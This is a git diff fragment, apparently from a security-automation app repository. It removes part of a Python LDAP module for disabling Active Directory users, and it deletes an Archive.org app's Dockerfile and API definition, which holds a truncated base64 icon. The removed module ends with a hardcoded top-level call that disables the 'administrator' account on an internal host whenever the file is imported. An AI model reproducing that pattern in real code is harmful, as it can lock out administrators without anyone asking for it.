"WORKSTATION_TRUST_ACCOUNT", - 2048: "INTERDOMAIN_TRUST_ACCOUNT", - 512: "NORMAL_ACCOUNT", - 256: "TEMP_DUPLICATED_ACCOUNT", - 128: "ENCRYPTED_TEXT_PWD_ALLOWED", - 64: "PASSWD_CANT_CHANGE", - 32: "PASSWD_NOTREQD", - 16: "LOCKOUT", - 8: "HOMEDIR_REQUIRED", - 2: "ACCOUNTDISABLED", - 1: "SCRIPT", - } - lists = [] - attributes = {} - while input_code > 0: - for flag, flagName in userAccountControlFlags.items(): - temp = input_code - flag - if temp > 0: - attributes[userAccountControlFlags[flag]] = flag - input_code = temp - if temp == 0: - try: - if userAccountControlFlags[input_code]: - attributes[userAccountControlFlags[input_code]] = input_code - except KeyError: - pass - input_code = temp - for key, val in attributes.items(): - lists.append(key) - return lists - - - -# Disable User -def disable_user( - -server, -port, - domain, - login_user, - password, - base_dn, - use_ssl, - samaccountname, - search_base, -): - - if search_base: - base_dn = search_base - - c = __ldap_connection(server, port, domain, login_user, password, use_ssl) - - result = json.loads( - user_attributes( - server, - port, - domain, - login_user, - password, - base_dn, - use_ssl, - samaccountname, - search_base, - ) - ) - userAccountControl = result["attributes"]["userAccountControl"] - - if "ACCOUNTDISABLED" in userAccountControl: - result = {} - result["samAccountName"] = samaccountname - result["status"] = "success" - result["description"] = "Account already disable" - - return json.dumps(result) - else: - userAccountControl.append("ACCOUNTDISABLED") - userAccountControl_code = __getUserAccountControlCode( - userAccountControl - ) - new_userAccountControl = { - "userAccountControl": (MODIFY_REPLACE, userAccountControl_code) - } - user_dn = result["dn"] - c.modify(dn=user_dn, changes=new_userAccountControl) - c.result["samAccountName"] = samaccountname - - return json.dumps(c.result) - -# Get User Attributes -def user_attributes( - - server, - port, - domain, - login_user, - password, - base_dn, - use_ssl, - samaccountname, - search_base, -): - if search_base: - base_dn = search_base - - c =__ldap_connection(server, port, domain, login_user, password, use_ssl) - - print(c, base_dn, samaccountname) - c.search( - search_base=base_dn, - search_filter=f"(samAccountName={samaccountname})", - attributes=ALL_ATTRIBUTES, - ) - - result = json.loads(c.response_to_json()) - print(result) - result = result["entries"][0] - result["attributes"]["userAccountControl"] = __getUserAccountControlAttributes( - result["attributes"]["userAccountControl"] - ) - - return json.dumps(result) - - -disable_user( - '172.17.12.5', - 389, - 'ICPLAHD', - 'administrator', - 'PW', - 'CN=Users,DC=icplahd,DC=local', - 'false', - 'administrator', - 'CN=Users,DC=icplahd,DC=local', -) diff --git a/archive-org/1.0.0/Dockerfile b/archive-org/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/archive-org/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/archive-org/1.0.0/api.yaml b/archive-org/1.0.0/api.yaml deleted file mode 100644 index de389ea7..00000000 --- a/archive-org/1.0.0/api.yaml +++ /dev/null @@ -1,30 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: Archive.org -description: Archive.org app -environment: cloud -tags: - - archive - - search -categories: - - archive - - search -contact_info: - name: Peter Clemenko - url: https://github.com/peter-clemenko - email: pclemenkoiii@gmail.com -actions: - - name: archive_target - description: Archives the target URL - parameters: - - name: target - description: URL of the target to archive - required: true - schema: - type: string - returns: - schema: - type: string - example: "Google.com" -large_image: data:image/jpeg;base64,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kZQF5jJBatAstqX799sF3aBRHgq5MRB50mK53acBXO7TgK53acBXO7TgK53acBXO7TgK53acBXO7TgK53acBXO7TgK53acBXO7TgK53acBXO7TgK53acBXO7TgK53acBXO7TgK53acBXO7TgK53acBXO7TgK53acBXO7TgK53acBXO7TgK53acBXO7TgK53acBXO7TgFwYrojQtPJUXk0/poBulREZHFSRkfxFnNJKRZzSSkWc0kpFnNJKRZzSSkWc0kpFnNJKRZzSSkWc0kpFnNJKRZzSSkWc0kpFnNJKRZzSSkWc0kpFnNJKRZzSSkWc0kpFnNJKRZzSSkWc0kpFnNJKRZzSSkWc0kpFnNJKRZzSSkWc0kpFnNJKRZzSSkWc0kpFnNJKRZzSSkWc0kpDuHDQlCCX5kpLMRfvm8RZ5kpiJM94rxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWArxdhWAcx4KuVDWvOk/+U//xAArEAABAgMHBAMBAQEBAAAAAAABABEgwfAQITFRYZGhUHGx8UGB0UDhkDD/2gAIAQEAAT8h/wCj44dPgpcIDNF7DAd2dk0ggjEEdZARMObP3DcgR8m8sWwjlM5UMQBmeU6vGS/yZCQZwAwFmKYzAmB9lByTAu5jw7hBX6u+QfwizkTu+vwtWDoueouBPAolHAstct1ZhTyxMxS7Xshz514RnlBfhYJ+n/mUFTEQjZFS2uIW/VzhO5fwGHDLshjgdwzh0dLB8hywTdIKNefyBwEVv78Dw4oNjpnHJfwjwswT+4w4WnG0HCb+IgHFBwtiENkx5RYT/ADtXuU3GMABN5HKCOGQA+TIjFWIBj0J9JgIjxBYPkcRcQr67Mb7cyEgABgB/WyaLaF05BvmjguOELdIAQu+Yuy8v0Bt4RISHAHIFaf3+PHjx48ePHjx48ePHjx48ePHjx48ePHjx48FgEhlUEsSJUJcG8nPoABCQ3XM+i94T3pPek96T3pPek96T3pPek96T3pPek96T3pPek96T3pPek96T3pPek96T3pPek96T3pPek96T3pPekZ2ZpAsOzvd0Gn5/wB9Sz9Bp+f99Sz9BJpmdgGbqqpqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipqipo7hv4kSYAdCwDTiv8A8Qp7yqUmi65717LOwXFnixHqaFmHOCpSaIax42wCTGCoQM5I3AIMcoHP2CVSk0DEoswEdWN0RS+MQHsgSQ5vVKTRotL2IPlEEsQ7EvkEdCrHATtdA/WH4icnEC42aqo3CLgsYiakbAbW4/zicWrV8JW66HtCboTuSbv+Vr+SBv8AlCMUIFdxIFvoTyEVxGBbwyt03DYBlFfzNtu8X9CnckHcn8t7kHAThHVAQwtuKZhc4nFm+C1qZH2IxawhuEztoHw0uhcVtuHzPATh0WfCDuI7kYtdnw07dKTziEBCobdcfxy6EznAbA/tvaJOG01XGBk6TuBnE+M1wTt9i8UQ0ldt7wAdCu4W7ftbosbY0N1D32wwXT+XxT+TtsWGYKFiGsAV1rNtgtbzoNv9dCBrRffJ2DwsPX2vgYNm4jtkBuH5acELCyOAXkBaZPC3vEWx/XQmDZ2+D0V+Fh6zsUAMXN8NFeWXngNfgHyYAcGjzALNdFuNNzw8l5QVfKKnZwKBmg4vzBz+i/Gm54eS8oKvlFTs4FAzQcX5g5/RfjTc8PJeUFXyip2cCgZoOL8wc/ovxrGeHkvKCr5RU7OBUM0HH+YOf0LK7ytm5VX4SbvPKAnHk+HiO4z88DWg/Jgul0+YPuB9CFc5Wi/NLcMjB9AN7oDcFLYu4zbf6tOCPVj8wYR1WtwG1zJk3P46Ef3Btnb27gIXFo7hAX1iJNZgjt+1uIUb9ww6rPgWvZctProTuQJv/i12ZgYbTE3GB/5D2BExmrf16TwjfAFqouNu4O/5dCcy5OPxawLJckOqr4QOLWNgBKJpmQ5BlbrMeUROehttwaehP1M7fcIeBh1iPIgIcytjiYBk/KVuiJucTgqba0sjydCZzG0J/bTus58JaEQhbRc8TIyPJK2q54tGR3iJWk7R8CPPQu4n7ftbWNYhf6UgW0/PF8CuW8hO2kZ4ryfIbam69CpmCStrNIhSuJNxtreeIukG4C2hZotHr5TtruXQhvyAL6OsytCGpzcZ3RCsAuF+DALCWDm5AvACQN3xCLL2dgKIEOCCPiwB8gOMX6omEMDyBJaNoQQB8OhAkIDu1AGByqgmiIk/PLcxEpWuJKZ2VQTR5jGNH0SiYgsnHjGwKqCa0RK4dzEF4fjQfYVQTRGdgxBOPKLkuceghX0AODeqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkqEkiKmAIguwLdBp+f99Cz9BwPhwFiNCtItpFtItpFtItpFtItpFtItpFtItpFtItpFtItpFtItpFtItpFtItpFtItpFtItpFtItpFtItpFjz3MByDEOB0AMl8HBBC5VNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJVNJMyhgAGGAH9zyB3kABPQhHjx48ePHjx48ePHjx48ePHjx48ePHjx48ePHjwG+2EEOGGf8A1P8A/9oADAMBAAIAAwAAABDzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzQwhjDTzzzzzzzzzzzzzzzzzzzzjDSgzzzzzzzyzjzzzzzzzzzzzzzzzzyxBDDDDDDDDDDDDCCBzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzjzzzzzzzzzzzzzzzzDDDDDDDDDDDDDDCDzzzzzzzzzzzzzzzyyxzyhzDzyjzzzzyjzzzzzzzzzzzzzzzyzxzzxTjzyzzzzzyzzzzzzzzzzzzzzzzyjxTyzzzzyjzTzxTzzzzzzzzzzzzzzzzzjwjyzzjzyzzzzhyjzzzzzzzzzzzzzzzyjwTyjyjzyjzzyjyjzzzzzzzzzzzzzzzyjxTyjyjzyjzzyjyjzzzzzzzzzzzzzzzyTxDyzyzzyzyzyzyjzzzzzzzzzzzzzzzyjxDyzyzzzjwzzhyjzzzzzzzzzzzzzzzzzzzzjzzzyjzzzzyjzzzzzzzzzzzzzzzzzzTyzzjzzzzzzzSzzzzzzzzzzzzzzzzyjxTyxyzzzjzzzxzjzzzzzzzzzzzzzzzzzRTyzyzzzxxzzzyDzzzzzzzzzzzzzzzxwwwwwwwwwwwwwwxjzzzzzzzzzzzzzzygwwwwwwwwwwwwwwxxjzzzzzzzzzzzzzzxzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz/xAAUEQEAAAAAAAAAAAAAAAAAAACg/9oACAEDAQE/EAAf/8QAFBEBAAAAAAAAAAAAAAAAAAAAoP/aAAgBAgEBPxAAH//EAC0QAAEBBQYFBQEBAQAAAAAAAAERABAgITEwQVBRYfBxkaHB0UCBseHxkGBw/9oACAEBAAE/EP6PIxgtJ8XGA9yQJtFYgk2QCGTGFCgq1yNvwH6mkZWKXBp13cJVpPWale18RhaZQTwADhiy8EmgFDS7HmOjT2NyPYeuYWHYwq2CYY+NgZMQF65HfsGm5UP3BQ4BgdBVGXiTHVg4Jo7OVdTEjyfWm52dQKYv3MbhEDmlBoKRU+G5fKyPuZI/cwQn6Y3pq54QRg1VIXmaQwihC7BtQwQr3ol2eWTt+V7+D0RGoBpzZ2d6TiH4djI4FC6fadoykPu64r5jHfOiMexwEMRYV6JiMheBlz6Vgq9jBrmgCAesXa9RA5GMxFWSm1n4YMQJqoBpQuwChZc0ImYAzHry3bt27du3bt27du3bt27du3bt27du3bt27doEjuBgRUJVRGPryqipksAG3vpOdm9elWrVq1atWrVq1atWrVq1atWrVq1atWrVq1afDiWq+wv+QyXpLyPEvumZevYuXLly5cuXLly5cuXLly5cuXLly5cuXLly5D3+JOlCZJwJWp84ReTk1LEBXdMzm/gEypJAs5LDNkOACk6YAInU6yKrSioM1wI1AEUFIBeSWFJQUC/kLrOkbs9ARlcYlRgi3IZkA6yDpCVUcBWxZHXRsiFDgRURRzV7JC7o4Qq175z8JwSqglEJ6/E7IwcYYi8A/r7cFjDsCeKgP6AHCGXmYIRAIcE4sYUImCoZ5OkUsS2PfnUvQogmBVXbzLeQwhENNN1gMkzovb994/ehp8RCGYKYqE8mwfYEG+xtgPMUCb6cbE7YL7LcO8D2mRL2UQE4eSIKtOHyfrYlkOp+ZuItOH+n9FPPgSL7UlBs09mMF0RzygGR9nErPdub/RFNodCZSG8FgucrXAT/AEQ2xoxg0p5h4QbhYXaJZ/8ASo2hp6wDqBYf1lPI4FxYAGp5epFuMC1Xcw4B5wm7SIRvoW7hAHsYcFrWJgo/XcOHbavPvGa3AmjhR+/5Ydtq8+8ZrcCaOFH7/lh22rz7xmtwJo4Ufv8Alh23/wA+8ZrcDIeD9/ywGGAb2+Zqi3GAZZyIMd9bS4xAzhUGkMERrFAVgePO4EpSWXt192VrCVsECZEOLTgXIKSv8AkywMIL5gPmpgQFMl258HzPRQ3LNjAa7OkUCws